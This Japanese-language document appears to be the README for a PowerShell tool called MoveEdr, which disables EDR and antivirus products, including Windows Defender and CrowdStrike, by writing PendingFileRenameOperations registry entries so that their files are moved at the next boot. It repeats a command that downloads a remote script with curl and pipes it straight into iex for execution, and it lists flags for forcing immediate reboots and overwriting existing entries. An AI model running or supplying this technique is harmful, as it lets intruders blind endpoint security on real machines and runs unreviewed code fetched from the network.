
ローカル管理者としてEDRを恒久的に無効化
管理者であれば、ブート直後でサービスが開始される前に、Windows にフォルダやファイルの削除・移動を強制させることができます。これは EDR を無効化するために利用できます。
[!CAUTION] CrowdStrike には問題があり、「INACCESSIBLE_BOOT_DEVICE」というメッセージが表示されてブートループに陥ります。 私の推測では、CrowdStrike 自体かソフトウェア展開ソリューションが、欠落した CrowdStrike ファイルをインストールしようとするものの失敗し、壊れた状態のまま残してしまうのだと思います。 これが移動後の経過時間に依存するのか、それとも実行した再起動の回数に依存するのかは定かではありません。 CrowdStrike を最初に移動して再起動する分には問題なく動作します。 念のため、最初の再起動後に Undo を実行するようにスケジュールしておくとよいかもしれません。
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# 再起動!
以下のフラグが利用可能です
Undo : EDR の移動を元に戻します。CustomPaths と併用できますClear: レジストリキーの値をクリアしますPrint: レジストリキーの値を、null バイトで終端された文字列ではなく、人間が読める形式で出力しますCustomOnly: デフォルトでは、CustomPaths と FullyCustomPaths は組み込みの移動対象に追加されます。このフラグを指定すると、自分のカスタムパスのみが移動対象になります。CustomPaths: 組み込みのパスを使わずに、独自の EDR パスを指定します。入力としてソースのみを受け取ります。宛先もカスタマイズするには、代わりに FullyCustomPaths を使用してください。FullyCustomPaths : ソースと宛先の両方を指定します。$Suffix を使う代わりに、宛先を自分で制御できます。Suffix: 移動したファイルに付ける接尾辞を、デフォルトの _bak から変更しますDump: レジストリキーの値を、Load で使用できる形式でダンプしますLoad: 以前にダンプしたレジストリキーの値を読み込みますDefenderHard: Windows Defender の一部の実行ファイルだけを移動するのではなく、Windows Defender フォルダ全体を移動しますIgnoreOld: レジストリキーに既に存在する値を保持せず、盲目的に上書きしますReboot: レジストリキーを設定した直後に再起動を実行します。Windows Update が実行され、再起動に時間がかかる可能性があります 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# 必要なことを実行してください!
# 元に戻す
# 以前と同じコマンドに、-Undo を追加するだけです
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
一部のプログラムには、ローカル管理者でさえアンインストールや無効化を防ぐ機能があります。たいていの場合、これらは AV/EDR であり、管理者であっても無効化パスワードを求められます。
ここでは、ファイルやフォルダを移動させて次回のブート時に起動できないようにすることで、これらを無効化するトリックを紹介します。
SysInternals の PendMoves には movefile.exe が含まれており、その説明は次のとおりです:
サービスパックや修正プログラムなど、使用中のファイルを置き換える必要があるにもかかわらず置き換えられないアプリケーションがいくつかあります。そのため Windows は MoveFileEx API を提供しており、ファイルの名前変更や削除を実行し、呼び出し元がその操作を次回のシステム起動時、ファイルが参照される前に実行するよう指定できます。Session Manager は、HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations 値から登録された名前変更および削除コマンドを読み取ってこのタスクを実行します。
MoveFileEx は正確にはどのようにこれを行うのでしょうか?ドキュメント を確認してみましょう:
この関数は、再起動時に名前変更されるファイルの場所を次のレジストリ値に格納します: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
このレジストリ値の型は REG_MULTI_SZ です。各名前変更操作では、名前変更が削除であるかどうかに応じて、次のいずれかの NULL 終端文字列が格納されます。
szSrcFile\0\0
szSrcFile\0szDstFile\0
つまり、レジストリキー PendingFileRenameOperations を作成し、削除したいファイル/ディレクトリのパスを正しい REG_MULTI_SZ 形式で入力すれば、movefile.exe と同じ効果を得られるということです。
MoveEdr スクリプトは、以下の AV/EDR に対して正しいレジストリキーを作成する処理を自動化します: